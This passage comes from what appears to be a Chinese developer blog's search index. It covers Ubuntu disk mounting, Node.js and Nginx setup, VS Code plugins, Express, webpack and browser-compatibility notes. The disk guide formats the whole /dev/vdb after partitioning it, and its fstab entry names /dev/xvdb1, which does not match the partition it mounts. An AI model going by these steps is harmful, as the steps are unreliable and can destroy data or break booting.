<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="ubuntu-使用方法"><a href="#ubuntu-使用方法" class="headerlink" title="ubuntu 使用方法"></a>ubuntu 使用方法</h2><pre><code class="json">首先输入fdisk -l命令后,发现/dev/vdb，说明实例含有数据盘，需要挂载运行fdisk /dev/vdb，对数据盘进行分区，依次输入n,p,1，然后按两次回车，最后输入wq，进行分区分区完成之后运行fdisk -l命令，查看新的分区。可以看到新的分区vdb1已经创建好了。运行mkfs.ext3 /dev/vdb,对新分区进行格式化。格式化完成之后运行echo /dev/xvdb1 /mnt ext3 defaults 0 0 >> /etc/fstab (这是一条命令)写入分区信息。完成之后运行 cat /etc/fstab 可以进行查看运行mount /dev/vdb1 /mnt 挂载新分区，然后执行df -h 查看分区，如果出现数据盘信息，说明挂载成功，就可以开始使用新分区</code></pre><h2 id="nodejs-安装"><a href="#nodejs-安装" class="headerlink" title="nodejs 安装"></a>nodejs 安装</h2><pre><code class="js">sudo apt-get updatesudo apt-get install nodejssudo apt-get install npm</code></pre><blockquote><p>特别注意：Ubuntu中可执行的名字是 nodejs 而不是node</p></blockquote><h3 id="额外工具-n"><a href="#额外工具-n" class="headerlink" title="额外工具 n"></a>额外工具 n</h3><p>一款管理nodejs版本的工具</p><pre><code class="js">升级node.js到最新稳定版n stable升级node.js到最新版n latest</code></pre><h2 id="安装Nginx"><a href="#安装Nginx" class="headerlink" title="安装Nginx"></a>安装Nginx</h2><pre><code class="js">安装gcc g++的依赖库apt-get install build-essentialapt-get install libtool安装 pcre依赖库sudo apt-get updatesudo apt-get install libpcre3 libpcre3-dev安装 zlib依赖库apt-get install zlib1g-dev安装 ssl依赖库apt-get install openssl安装Nginx（http://nginx.org）#下载最新版本：wget http://nginx.org/download/nginx-1.13.4.tar.gz（根据官网查看最新版本下载对应版本）#解压：tar -zxvf nginx-1.13.4.tar.gz#进入解压目录：cd nginx-1.13.4#配置：./configure --prefix=/usr/local/nginx#编辑nginx：make#安装nginx：sudo make install#启动nginx：先切到根目录cd /sudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf#查看nginx进程：ps -ef|grep nginx#查看nginx版本(根目录下执行)usr/local/nginx/sbin/nginx -v</code></pre><p>测试nginx安装成功<br>wget <a href="http://127.0.0.1" target="_blank" rel="noopener">http://127.0.0.1</a> （会下载一个默认的html文件，直接ls查看当前目录可看到）</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 服务器 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> nodejs </tag>
|
||
|
||
<tag> ubuntu </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>vscode 配置插件推荐</title>
|
||
<link href="/vscode-%E9%85%8D%E7%BD%AE%E6%8F%92%E4%BB%B6%E6%8E%A8%E8%8D%90.html"/>
|
||
<url>/vscode-%E9%85%8D%E7%BD%AE%E6%8F%92%E4%BB%B6%E6%8E%A8%E8%8D%90.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="vscode-配置"><a href="#vscode-配置" class="headerlink" title="vscode 配置"></a>vscode 配置</h1><h2 id="auto-Open-Markdown"><a href="#auto-Open-Markdown" class="headerlink" title="auto-Open Markdown"></a>auto-Open Markdown</h2><p>markdown 预览插件</p><h2 id="beautify"><a href="#beautify" class="headerlink" title="beautify"></a>beautify</h2><p>让代码更符合规范</p><h2 id="Bracket-Pair-Colorizer"><a href="#Bracket-Pair-Colorizer" class="headerlink" title="Bracket Pair Colorizer"></a>Bracket Pair Colorizer</h2><p>括号上色插件，神器推荐</p><h2 id="vscode-ext-color-highlight"><a href="#vscode-ext-color-highlight" class="headerlink" title="vscode-ext-color-highlight"></a>vscode-ext-color-highlight</h2><p>颜色上色插件</p><h2 id="color-picker"><a href="#color-picker" class="headerlink" title="color-picker"></a>color-picker</h2><p>取色插件</p><h2 id="cssrem"><a href="#cssrem" class="headerlink" title="cssrem"></a>cssrem</h2><p>rem转换工具</p><h2 id="Debugger-for-Chrome"><a href="#Debugger-for-Chrome" class="headerlink" title="Debugger for Chrome"></a>Debugger for Chrome</h2><p>debugger插件，正在学怎么用</p><h2 id="ESlint"><a href="#ESlint" class="headerlink" title="ESlint"></a>ESlint</h2><p>代码规范插件</p><h2 id="file-icons"><a href="#file-icons" class="headerlink" title="file-icons"></a>file-icons</h2><p>图标插件</p><h2 id="git-History"><a href="#git-History" class="headerlink" title="git History"></a>git History</h2><p>查看历史修改记录插件</p><h2 id="hopscotch"><a href="#hopscotch" class="headerlink" title="hopscotch"></a>hopscotch</h2><p>可爱的代码颜色风格</p><h2 id="html-css-support"><a href="#html-css-support" class="headerlink" title="html css support"></a>html css support</h2><p>应该改支持代码提示插件吧</p><h2 id="markdownlint"><a href="#markdownlint" class="headerlink" title="markdownlint"></a>markdownlint</h2><p>markdown 语法提示插件</p><h2 id="path-autocomplete"><a href="#path-autocomplete" class="headerlink" title="path autocomplete"></a>path autocomplete</h2><p>路径补全插件</p><h2 id="react-native-tools"><a href="#react-native-tools" class="headerlink" title="react native tools"></a>react native tools</h2><p>暂时没用上</p><h2 id="react-native"><a href="#react-native" class="headerlink" title="react-native"></a>react-native</h2><p>也没用上</p><h2 id="settings-sync"><a href="#settings-sync" class="headerlink" title="settings sync"></a>settings sync</h2><p>插件备份工具，神器</p><h2 id="background"><a href="#background" class="headerlink" title="background"></a>background</h2><p>一款美化插件配置如下：</p><pre><code class="js">"background.useDefault": false, "background.enabled": true, "background.customImages": [ "file:///Users/mac/Desktop/improve/1.jpg" ], "background.style": { "opacity": 0.1, "width": "1600px", "height": "1150px" }</code></pre><blockquote><p>ps: 超级超级吃 CPU 慎用！！</p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> IDE </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> vscode </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>learn express</title>
|
||
<link href="/learn-express.html"/>
|
||
<url>/learn-express.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="深入了解express"><a href="#深入了解express" class="headerlink" title="深入了解express"></a>深入了解express</h2><h3 id="构建一个-express-实例"><a href="#构建一个-express-实例" class="headerlink" title="构建一个 express 实例"></a>构建一个 express 实例</h3><blockquote><p>cnpm i express-generator -g</p></blockquote><h3 id="目录结构"><a href="#目录结构" class="headerlink" title="目录结构"></a>目录结构</h3><pre><code class="json">.├── app.js├── bin│ └── www├── package.json├── public│ ├── images│ ├── javascripts│ └── stylesheets│ └── style.css├── routes│ ├── index.js│ └── users.js└── views ├── error.jade ├── index.jade └── layout.jade7 directories, 9 files</code></pre><h3 id="中间件"><a href="#中间件" class="headerlink" title="中间件"></a>中间件</h3><h4 id="应用级中间件"><a href="#应用级中间件" class="headerlink" title="应用级中间件"></a>应用级中间件</h4><pre><code class="js"><!-- 没有挂载路径 -->app.use(function (req, res, next) { ... next()}, function (req, res, next) { console.log('Request Type:', req.method); next();})<!-- 挂载路径的中间件 -->app.use('/user/', function(req, res, next){ ... next()})路由和句柄函数，处理get（post）请求app.get('/', function() { res.send('USER')})</code></pre><h4 id="路由级中间件"><a href="#路由级中间件" class="headerlink" title="路由级中间件"></a>路由级中间件</h4><blockquote><p>var app = express()<br>var router = express.Router()</p></blockquote><pre><code class="js">和上面类似，只是写法不同router.use('/', function(req, res, next) { ... next()})<!-- 此处理是在同一个文件夹下 -->app.use('/', router)</code></pre><h4 id="错误处理中间件"><a href="#错误处理中间件" class="headerlink" title="错误处理中间件"></a>错误处理中间件</h4><pre><code class="js">app.use(function (err, req, res, next) { console.error(err.stack); res.status(500).send('Something broke!');});</code></pre><h4 id="内置中间件"><a href="#内置中间件" class="headerlink" title="内置中间件"></a>内置中间件</h4><blockquote><p>唯一内置中间件：express.static()</p></blockquote><ul><li>dotfiles</li></ul><p>是否对外输出文件名以点（.）开头的文件。<br>可选值为 “allow”、“deny” 和 “ignore”<br>默认：ignore</p><ul><li>etag</li></ul><p>是否启用 etag 生成<br>默认：true</p><ul><li>extensions</li></ul><p>设置文件扩展名备份选项<br>默认：[]</p><ul><li>index</li></ul><p>发送目录索引文件，设置为 false 禁用目录索引。<br>Mixed<br>默认：“index.html”</p><ul><li>lastModified</li></ul><p>设置 Last-Modified 头为文件在操作系统上的最后修改日期。可能值为 true 或 false。<br>默认：true</p><ul><li>maxAge</li></ul><p>以毫秒或者其字符串格式设置 Cache-Control 头的 max-age 属性。<br>默认：0</p><ul><li>redirect</li></ul><p>当路径为目录时，重定向至 “/”。<br>默认：true</p><ul><li>setHeaders</li></ul><p>设置 HTTP 头以提供文件的函数。<br>Function</p><pre><code class="js">app.use(express.static('public', options));</code></pre><h4 id="第三方中间件"><a href="#第三方中间件" class="headerlink" title="第三方中间件"></a>第三方中间件</h4><h5 id="cookie-parser"><a href="#cookie-parser" class="headerlink" title="cookie-parser"></a>cookie-parser</h5><p>用于解析 cookie 的中间件</p><h5 id="body-parser"><a href="#body-parser" class="headerlink" title="body-parser"></a>body-parser</h5><p>用于解析request body部分，并对上传内容大小作出限制</p><pre><code class="js">app.use(bodyParser.json({ limit: '50mb' }));app.use(bodyParser.urlencoded({ limit: '50mb', extended: true }));</code></pre><h4 id="canvas"><a href="#canvas" class="headerlink" title="canvas"></a>canvas</h4><pre><code class="js"> var base64Data = req.body.imgData; var img = new Canvas.Image; img.onload = function(){ var w = img.width; var h = img.height; var canvas = new Canvas(w, h); var ctx = canvas.getContext('2d'); ctx.drawImage(img, 0, 0); var out = fs.createWriteStream(__dirname + '/crop.jpg'); var stream = canvas.createJPEGStream({ bufsize : 2048, quality : 80 }); stream.on('data', function(chunk){ out.write(chunk); }); stream.on('end', function(){ out.end(); res.send("上传成功！"); }); } img.onerror = function(err){ res.send(err); } img.src = base64Data;</code></pre><h4 id="fs模块-node自带模块"><a href="#fs模块-node自带模块" class="headerlink" title="fs模块 (node自带模块)"></a>fs模块 (node自带模块)</h4><p>对文件执行读取和写入</p><pre><code class="js">function(req, res, next) { if (req.body.formFile) { // 对象转换为字符串 <!-- 先取出base64码 --> var base64Data = req.body.formFile.replace(/^data:image\/\w+;base64,/, ""); <!-- 将base64码进行转码 --> var dataBuffer = new Buffer(base64Data, 'base64'); <!-- 将文件导出为图片格式 --> fs.writeFile("out.png", dataBuffer, function (err) { if (err) { res.send(err); } else { res.send("保存成功！"); } }); }}</code></pre><p>未完待续…</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> nodeJS </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 未完成 </tag>
|
||
|
||
<tag> express </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>urlMaker</title>
|
||
<link href="/urlMaker.html"/>
|
||
<url>/urlMaker.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="urlMaker-开发流程"><a href="#urlMaker-开发流程" class="headerlink" title="urlMaker 开发流程"></a>urlMaker 开发流程</h1><h2 id="项目需求"><a href="#项目需求" class="headerlink" title="项目需求"></a>项目需求</h2><ul><li>对 url 链接中的汉字和参数进行替换</li></ul><h2 id="技术栈"><a href="#技术栈" class="headerlink" title="技术栈"></a>技术栈</h2><ul><li><p>框架：react</p><blockquote><p>注意：路由用的是4.0版</p></blockquote></li><li><p>打包工具：webpack2.0</p></li><li>代码：es6</li><li>规范：ESlint</li></ul><h2 id="前期准备"><a href="#前期准备" class="headerlink" title="前期准备"></a>前期准备</h2><ul><li>由于之前的项目中都用的是 gulp 打包，所以 webpack 是个大坑，由于没有怎么深入了解，所以对其中的一些配置有点茫然，想起之前用过 vue-cli，里面有 webpack 的配置，然后，就没有然后了……</li><li>百度是个好东西，寻找了一系列文章，个人认为简书上的《入门webpack，看这篇就够了》足矣满足大多数需求，很感谢作者的良苦用心。点赞！</li></ul><h2 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h2><h3 id="webpack-核心模块"><a href="#webpack-核心模块" class="headerlink" title="webpack 核心模块"></a>webpack 核心模块</h3><h4 id="entry"><a href="#entry" class="headerlink" title="entry"></a>entry</h4><p>项目唯一入口</p><blockquote><p>这里发现一个问题，就是当我打包时全部 js 在同一个文件中，文件太大了，性能体验上是非常可怕的，反正我觉得如果2g网浏览是GG了的。处理的方式是: 给入口添加一个 vendor，将依赖库写入这个 vendor 中,如果觉得依赖包太大可以写成 vendor1，vendor2.</p></blockquote><h4 id="output"><a href="#output" class="headerlink" title="output"></a>output</h4><p>项目输出文件夹</p><blockquote><p>[name].[hash:8].js</p></blockquote><h4 id="module"><a href="#module" class="headerlink" title="module"></a>module</h4><p>html,js,css,img 处理组件</p><ul><li>css-loader</li><li>babel-loader</li><li>url-loader</li><li>style-loader</li><li>postcss-loader</li></ul><h4 id="plugins"><a href="#plugins" class="headerlink" title="plugins"></a>plugins</h4><p>其他优化插件,该处只介绍 webpack 自带的一些插件库</p><ul><li><p>webpack.BannerPlugin</p><blockquote><p>给打包文件添加一个banner</p></blockquote></li><li><p>webpack.optimize.UglifyJsPlugin</p><blockquote><p>压缩 js</p></blockquote></li><li><p>webpack.optimize.OccurrenceOrderPlugin</p><blockquote><p>添加唯一 ID</p></blockquote></li></ul><h3 id="webpack-推荐模块"><a href="#webpack-推荐模块" class="headerlink" title="webpack 推荐模块"></a>webpack 推荐模块</h3><h4 id="webpack-dev-server"><a href="#webpack-dev-server" class="headerlink" title="webpack-dev-server"></a>webpack-dev-server</h4><p>热加载插件，在 script 中的命令参数：</p><blockquote><p>–devtool eval:为你的代码创建源地址。当有任何报错的时候可以让你更加精确地定位到文件和行号<br>–progress: 显示合并代码进度<br>–colors: 在命令行中显示颜色<br>–content-base build: 指向设置的输出目录<br>–hot: 注意在 config 文件中如果已经new plugin，就不要hot了，二选一。</p></blockquote><h4 id="html-webpack-plugin"><a href="#html-webpack-plugin" class="headerlink" title="html-webpack-plugin"></a>html-webpack-plugin</h4><p>根据预先的模板实例化一个html</p><pre><code class="js">new HtmlWebpackPlugin({ title: '', template: __dirname + "/src/index.html", minify: { "removeAttributeQuotes": true, // 移除注释 "removeComments": true, // 移除空格 "removeEmptyAttributes": true, // 移除空白行 }, chunks: ['index', 'vendors'], // 配置该html文件要添加的模块 // inject: 'body' })</code></pre><h4 id="clean-webpack-plugin"><a href="#clean-webpack-plugin" class="headerlink" title="clean-webpack-plugin"></a>clean-webpack-plugin</h4><p>删除 webpack 缓存插件</p><pre><code class="js">new CleanWebpackPlugin('build/', { // 清除缓存文件 root: __dirname, verbose: true, dry: false })</code></pre><h4 id="extract-text-webpack-plugin"><a href="#extract-text-webpack-plugin" class="headerlink" title="extract-text-webpack-plugin"></a>extract-text-webpack-plugin</h4><p>将 css 抽离出 js</p><pre><code class="js">test: /\.css$/,use: ExtractTextPlugin.extract({ fallback: "style-loader", // 提取 css 文件 use: [{ // 编译文件 loader: "css-loader", options: { // modules: true, // 组件化 minimize: true // 压缩 } }, { loader: "postcss-loader" // 将 css 添加前缀 } ]})</code></pre><h4 id="friendly-errors-webpack-plugin"><a href="#friendly-errors-webpack-plugin" class="headerlink" title="friendly-errors-webpack-plugin"></a>friendly-errors-webpack-plugin</h4><p>友好的错误提示插件</p><h3 id="package-json-配置"><a href="#package-json-配置" class="headerlink" title="package.json 配置"></a>package.json 配置</h3><h4 id="依赖包"><a href="#依赖包" class="headerlink" title="依赖包"></a>依赖包</h4><h5 id="1-autoprefixer-需要和-postcss-loader-一起使用"><a href="#1-autoprefixer-需要和-postcss-loader-一起使用" class="headerlink" title="1. autoprefixer(需要和 postcss-loader 一起使用)"></a>1. autoprefixer(需要和 postcss-loader 一起使用)</h5><blockquote><p>补全 css 前缀</p></blockquote><h5 id="2-babel-合集"><a href="#2-babel-合集" class="headerlink" title="2. babel 合集"></a>2. babel 合集</h5><pre><code class="json">babel-corebabel-loaderbabel-plugin-react-transformbabel-preset-envbabel-preset-react</code></pre><h5 id="3-react-transform-catch-errors、redbox-react"><a href="#3-react-transform-catch-errors、redbox-react" class="headerlink" title="3. react-transform-catch-errors、redbox-react"></a>3. react-transform-catch-errors、redbox-react</h5><blockquote><p>react 报错插件</p></blockquote><h5 id="4-copy-to-clipboard"><a href="#4-copy-to-clipboard" class="headerlink" title="4. copy-to-clipboard"></a>4. copy-to-clipboard</h5><blockquote><p>点击复制到剪贴板插件</p></blockquote><h2 id="项目挖坑大全"><a href="#项目挖坑大全" class="headerlink" title="项目挖坑大全"></a>项目挖坑大全</h2><h3 id="关于-react-router-dom（我只能说，我的心好痛，调了3天没找到问题）"><a href="#关于-react-router-dom（我只能说，我的心好痛，调了3天没找到问题）" class="headerlink" title="关于 react-router-dom（我只能说，我的心好痛，调了3天没找到问题）"></a>关于 react-router-dom（我只能说，我的心好痛，调了3天没找到问题）</h3><ul><li>引入和使用</li></ul><pre><code class="js">import { HashRouter as Router, Route, Link } from 'react-router-dom'ReactDOM.render( <Router> <App> <Route path="/" exact component={Home} /> <Route path="/goods" component={Goods} /> <Route path="/detail" component={Detail} /> <Route path="/active" component={Active} /> </App> </Router> , document.getElementById('app'))在父级 APP 中记得加入 this.props.children</code></pre><blockquote><p>路由渲染不要带着DOM一起渲染，如果可以将 router 单独作为一个组件处理，本例稍简单，并未分离出去</p></blockquote><h3 id="关于图片打包"><a href="#关于图片打包" class="headerlink" title="关于图片打包"></a>关于图片打包</h3><p>神坑啊！设置的时候是将 8K 以内的图片打包后转为 base64，所以并看不到 img 文件夹生成。。。而我判断打包成功的标准就是是否生成 img 文件夹</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web项目 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> react </tag>
|
||
|
||
<tag> webpack </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>我个人的coding风格</title>
|
||
<link href="/%E6%88%91%E4%B8%AA%E4%BA%BA%E7%9A%84coding%E9%A3%8E%E6%A0%BC.html"/>
|
||
<url>/%E6%88%91%E4%B8%AA%E4%BA%BA%E7%9A%84coding%E9%A3%8E%E6%A0%BC.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>我一直在探索属于我自己独一无二的代码风格</p><h2 id="识别度高的-HTML"><a href="#识别度高的-HTML" class="headerlink" title="识别度高的 HTML"></a>识别度高的 HTML</h2><h2 id="简洁大方的-CSS"><a href="#简洁大方的-CSS" class="headerlink" title="简洁大方的 CSS"></a>简洁大方的 CSS</h2><h2 id="可维护性强的-js"><a href="#可维护性强的-js" class="headerlink" title="可维护性强的 js"></a>可维护性强的 js</h2><blockquote><p>最近在看这本书，书中有很多技巧让我受益颇多</p></blockquote><h3 id="基本格式"><a href="#基本格式" class="headerlink" title="基本格式"></a>基本格式</h3><ul><li>缩进保持 4 个空格</li><li>if else 语句和上一个 if 语句中间留个空行</li><li>注释另起一行</li><li>不写分号，保持样式简洁</li><li>符号与字符串之间要空行</li><li>中文和英文之间用空格拆开</li><li>单行代码长度不超过 80 个字符</li><li>如果一行代码超过最大限度，换行的给两个默认缩进，增加辨识度</li><li>另外，换行缩进不要带符号换行</li><li>命名方式：<pre><code> 1· 方法函数是驼峰命名 2· 构造函数是首字母大写命名 3· 常量采取全大写命名 4· js 中不要省略小数点前的 0 （css可以）</code></pre></li><li>多次申明 单var</li><li>if 语句即使再短，也不要写在一行</li><li>申明在调用的前面</li><li>函数调用，参数要左右空格，以突出参数</li><li>立即执行函数若赋值给某个对象，给该函数加一个圆括号</li><li>尽量不使用 === 和 != (强转换机制)</li><li>css 和 JavaScript 的松耦合</li><li>避免使用全局变量</li><li>组件式开发时，_ 开头为私有方法，监听事件前缀为 handle，事件监听传递时，属性名用 on 开头</li><li>react组件内容编写顺序：<pre><code> 1. static 开头类的属性，eg：defaultProps， propTypes 2. 构造函数 constructor 3. getter/setter 4. 组件生命周期 5. _开头的私有方法 6. 事件监听方法 7. render* 开头的方法 8. render</code></pre></li></ul><blockquote><p>EXP(以 react 为例):</p></blockquote><pre><code class="js"> //组件 class Exp extends Component { //初始化 static propTypes = { onSubmit: PropTypes.func } //构造函数 constructor () { super() this.state = { test: '1' } } // getter/setter getter() { } // 即将挂载 componentWillMount () { localStorage.getItem('username') } // 已挂载 componentDidMount () { } // 私有方法 _selfFunction (username) { localStorage.setItem('username', username) } // 监听方法 function1 () { //第一个 if 语句 if () { var test = 'abc', first = 1, //立即执行函数 secound = (function () { return 0}()) //第二个 if 语句 if (allNumber || first || secound || third || monday || sunday || satarday) { //第三个 if 语句 if () { function act (ppt) {} act( ppt ) } } } else { } } }</code></pre>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web前端 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 未完成 </tag>
|
||
|
||
<tag> CodingStyle </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>常见的兼容性问题</title>
|
||
<link href="/%E5%B8%B8%E8%A7%81%E7%9A%84%E5%85%BC%E5%AE%B9%E6%80%A7%E9%97%AE%E9%A2%98.html"/>
|
||
<url>/%E5%B8%B8%E8%A7%81%E7%9A%84%E5%85%BC%E5%AE%B9%E6%80%A7%E9%97%AE%E9%A2%98.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="html-对象获取问题"><a href="#html-对象获取问题" class="headerlink" title="html 对象获取问题"></a>html 对象获取问题</h2><ul><li>IE: document.idname (老版本)</li></ul><p>解决办法：统一用 getElementById()</p><h2 id="const-问题"><a href="#const-问题" class="headerlink" title="const 问题"></a>const 问题</h2><ul><li>IE：只能用 var</li></ul><p>解决办法：统一用 var</p><h2 id="event-x-y-问题"><a href="#event-x-y-问题" class="headerlink" title="event.x/y 问题"></a>event.x/y 问题</h2><ul><li>IE：只有 event.x/y 没有pageX/Y</li></ul><p>解决办法：mX = event.x/y ? event.x/y : event.pageX/Y</p><h2 id="window-location-href-问题"><a href="#window-location-href-问题" class="headerlink" title="window.location.href 问题"></a>window.location.href 问题</h2><ul><li>IE 和 Firefox1.5 以下：只能用 window.location</li></ul><p>解决办法：只用window.location</p><h2 id="frame-问题"><a href="#frame-问题" class="headerlink" title="frame 问题"></a>frame 问题</h2><pre><code class="html"><frame src="" id="frameId" name="frameName"/></code></pre><p>1、访问对象<br>IE：可以通过 id 和 name 访问<br>Firefox：只能通过 name</p><h2 id="Firefox-和-IE-的父元素-parentElement-的区别"><a href="#Firefox-和-IE-的父元素-parentElement-的区别" class="headerlink" title="Firefox 和 IE 的父元素 parentElement 的区别"></a>Firefox 和 IE 的父元素 parentElement 的区别</h2><p>IE：obj.parentElement<br>Firefox：obj.parentNode<br>解决办法：都用obj.parentNode</p><h2 id="table-操作问题"><a href="#table-操作问题" class="headerlink" title="table 操作问题"></a>table 操作问题</h2><ul><li>IE：不允许在 table 和 tr 的 innerHTML 中操作，appendchild 都不行</li></ul><p>解决办法：建议用框架，也可以向 js 中添加一个空行</p><h2 id="对象宽高赋值问题"><a href="#对象宽高赋值问题" class="headerlink" title="对象宽高赋值问题"></a>对象宽高赋值问题</h2><ul><li>Firefox 中 obj.style.height = imgObj.height 语句无效</li></ul><h2 id="innerText-问题"><a href="#innerText-问题" class="headerlink" title="innerText 问题"></a>innerText 问题</h2><ul><li>在 Firefox 中无法使用</li></ul><p>解决办法：</p><pre><code class="js">if (navigator.appName.indexOf('Explorer') > -1) { document.getElementById('element').innerText = 'my text'} else { document.getElementById('element').textContent = 'my text'}</code></pre><h2 id="FF-和-IE-解释相差-2px"><a href="#FF-和-IE-解释相差-2px" class="headerlink" title="FF 和 IE 解释相差 2px"></a>FF 和 IE 解释相差 2px</h2><p>box {width:100px; border: 1px;}<br>IE：box.width = 100<br>FF：box.width = 100 + 1*2<br>解决方法：{width: 100px!important; width: 98px;}</p><h2 id="margin-加倍的问题"><a href="#margin-加倍的问题" class="headerlink" title="margin 加倍的问题"></a>margin 加倍的问题</h2><p>设置为 float 的 div 在 ie 下设置的 margin 会加倍<br>解决方法：加入 display：inline</p><h2 id="页面的最小宽度"><a href="#页面的最小宽度" class="headerlink" title="页面的最小宽度"></a>页面的最小宽度</h2><p>IE 不识别 min<br>解决方法：min-width: 600px; width: expression(document.body.clientWidth < 600px ? ‘600px’ : ‘auto’)</p><h2 id="div-浮动-IE-文本产生-3px-bug"><a href="#div-浮动-IE-文本产生-3px-bug" class="headerlink" title="div 浮动 IE 文本产生 3px bug"></a>div 浮动 IE 文本产生 3px bug</h2><p>解决方法：左边浮动，右边margin-right: -3px;</p><h2 id="li-中内容超过长度以省略号显示"><a href="#li-中内容超过长度以省略号显示" class="headerlink" title="li 中内容超过长度以省略号显示"></a>li 中内容超过长度以省略号显示</h2><pre><code class="css">li { width:200px; white-spave: nowrap; text-overflow: elipsis; overflow: hidden;}</code></pre><p>FF 不支持</p><h2 id="IE-不能换滚动条颜色"><a href="#IE-不能换滚动条颜色" class="headerlink" title="IE 不能换滚动条颜色"></a>IE 不能换滚动条颜色</h2><p>解决方法：将 body 换成 HTML<br>html {scrollbar-face-color: #fff;….}</p><h2 id="如何让层显示在-flash-之上"><a href="#如何让层显示在-flash-之上" class="headerlink" title="如何让层显示在 flash 之上"></a>如何让层显示在 flash 之上</h2><p>解决方法：将flash 设置为透明</p><h2 id="超链接访问过后-hover-就不显示的问题"><a href="#超链接访问过后-hover-就不显示的问题" class="headerlink" title="超链接访问过后 hover 就不显示的问题"></a>超链接访问过后 hover 就不显示的问题</h2><p>解决方法：注意顺序 L-V-H-A</p><h2 id="form-标签初始化"><a href="#form-标签初始化" class="headerlink" title="form 标签初始化"></a>form 标签初始化</h2><p>在 IE 中会有一点边距<br>解决方法：ul,form {margin: 0; padding: 0;}</p><h2 id="js-强制兼容"><a href="#js-强制兼容" class="headerlink" title="js 强制兼容"></a>js 强制兼容</h2><p>可以下载 js 库</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web前端 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 兼容性 </tag>
|
||
|
||
<tag> 前端 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>js中的一些方法和函数</title>
|
||
<link href="/js%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E6%96%B9%E6%B3%95%E5%92%8C%E5%87%BD%E6%95%B0.html"/>
|
||
<url>/js%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E6%96%B9%E6%B3%95%E5%92%8C%E5%87%BD%E6%95%B0.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="原生-JS-一些方法和函数"><a href="#原生-JS-一些方法和函数" class="headerlink" title="原生 JS 一些方法和函数"></a>原生 JS 一些方法和函数</h2><h3 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h3><h4 id="subStr-start-length"><a href="#subStr-start-length" class="headerlink" title="subStr(start, length)"></a>subStr(start, length)</h4><p>可以在字符串中抽取从 start下标开始的指定数目的字符</p><blockquote><p>length可以不要，代表整个截取的长度</p></blockquote><h4 id="slice-start-end"><a href="#slice-start-end" class="headerlink" title="slice(start, end)"></a>slice(start, end)</h4><p>可以在数组 start 开始截取指定长度的数组，如果为负数就从最后一个开始，subStr也是</p><blockquote><p>end 不包括end本身</p></blockquote><h4 id="split-separator-howmany"><a href="#split-separator-howmany" class="headerlink" title="split(separator, howmany)"></a>split(separator, howmany)</h4><p>把字符串分割成字符串数组</p><blockquote><p>separator 可以是字符串，也可以是正则，howmany 表示截取的长度不超过该数量</p></blockquote><h4 id="splice-index-howmany-item1…-itemX"><a href="#splice-index-howmany-item1…-itemX" class="headerlink" title="splice(index, howmany, item1…,itemX)"></a>splice(index, howmany, item1…,itemX)</h4><p>从数组中添加/删除项目，然后返回被删除的项目</p><blockquote><p>index 表示删除的位置，howmany 表示删除几项，如果为0表示不删除，item代表插入的项目</p></blockquote><h4 id="replace-‘old’-new"><a href="#replace-‘old’-new" class="headerlink" title="replace(‘old’, new)"></a>replace(‘old’, new)</h4><p>把字符串中老的字符替换成新的字符</p><h4 id="str1-concat-str2…strX"><a href="#str1-concat-str2…strX" class="headerlink" title="str1.concat(str2…strX)"></a>str1.concat(str2…strX)</h4><p>在原来的字符串基础上连接多个字符串，也可以连接数组</p><h4 id="str-match-Exp"><a href="#str-match-Exp" class="headerlink" title="str.match(Exp)"></a>str.match(Exp)</h4><p>找到一个或多个和正则表达式的匹配</p><h4 id="str-search-Exp"><a href="#str-search-Exp" class="headerlink" 